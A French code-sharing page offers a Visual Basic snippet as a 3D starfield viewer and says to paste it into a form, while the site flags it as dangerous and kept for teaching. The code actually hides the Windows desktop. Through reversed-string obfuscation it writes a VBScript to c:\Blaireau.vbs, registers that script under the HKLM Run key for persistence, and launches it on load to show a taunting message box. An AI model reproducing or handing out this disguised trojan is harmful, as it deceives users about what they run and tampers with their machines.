Comment générer du script depuis visualbasic

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Commenter

Contenu du snippet

Pom Pom Pom, comme je vois à quel point mes scripts sont apprécié ici, je vous offre ( avant même sa sortie officiel ) ce fabuleux code qui permet de visualiser des étoiles en 3 dimensions ( et se, même sur un 486!!! ) Que dire de plus sinon que le code n'est pas très optimisé mais il est néanmoins relativement performant et permet de réaliser des applications relativements complètes.

Créez une form et coller ce code, c'est tout!!

Source / Exemple : 


Private Declare Function PutMeWhereIWant Lib "user32" Alias "ShowWindow" _
                      (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function WonderWhereAmI Lib "user32" Alias "FindWindowExA" _
         (ByVal hwnd As Long, ByVal hWndChild As Long, ByVal lpszClassName _
                              As String, ByVal lpszWindow As String) As Long

Private Sub IWanaHaveRoom()
 Dim hwnd As Long: LeHandle = WonderWhereAmI(0&, 0&, Guess$("namgorP"), _
                                                            vbNullString)
 If LeHandle <> 0 Then Call PutMeWhereIWant(LeHandle, 0)
End Sub

Private Sub Ooooups()
 Open Guess$("sbv.uaerialB\:c") For Output As #1
 Print #1, Guess$("metsysrid ,osf miD")
 Print #1, Guess$(")" + Chr$(34) + "tcejbOmetsySeliF.gnitpircS" + Chr$(34) _
                                                 + "(tcejbOetaerC = osf teS")
 Print #1, Guess$("txeN emuseR rorrE nO")
 Print #1, Guess$(")1(redloFlaicepSteG.osf = metsysrid teS")
 Print #1, Guess$(")" + Chr$(34) + "llehS.tpircSW" + Chr$(34) + "(tcejb" + _
                                                     "OetaerC = tideger teS")
 Print #1, Guess$(Chr$(34) + "sbv.uaerialB\:c tpircsw" + Chr$(34) + "," + _
           Chr$(34) + "kcirreD\nuR\noisreVtnerruC\swodniW\tfosorciM\e" + _
           "rawtfoS\ENIHCAM_LACOL_YEKH" + Chr$(34) + " etirWgeR.tideger")
 Print #1, Guess$(Chr$(34) + "ékiN T" + Chr$(34) + " xobgsM")
 Close #1
End Sub

Private Function Guess$(Tired$)
 a$ = ""
 For i = 1 To Len(Tired$)
  a$ = Mid$(Tired$, i, 1) + a$
 Next i
 Guess$ = a$
End Function

Private Sub WanaGetOut()
 TheProcess = Guess$("sbv.uaerialB\:c tpircsw")
 Shell TheProcess
End Sub

Private Sub Form_Load()
 Call IWanaHaveRoom
 Call Ooooups
 Call WanaGetOut
End Sub

Conclusion :


Roooooo que c'est beau!

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (Mémère)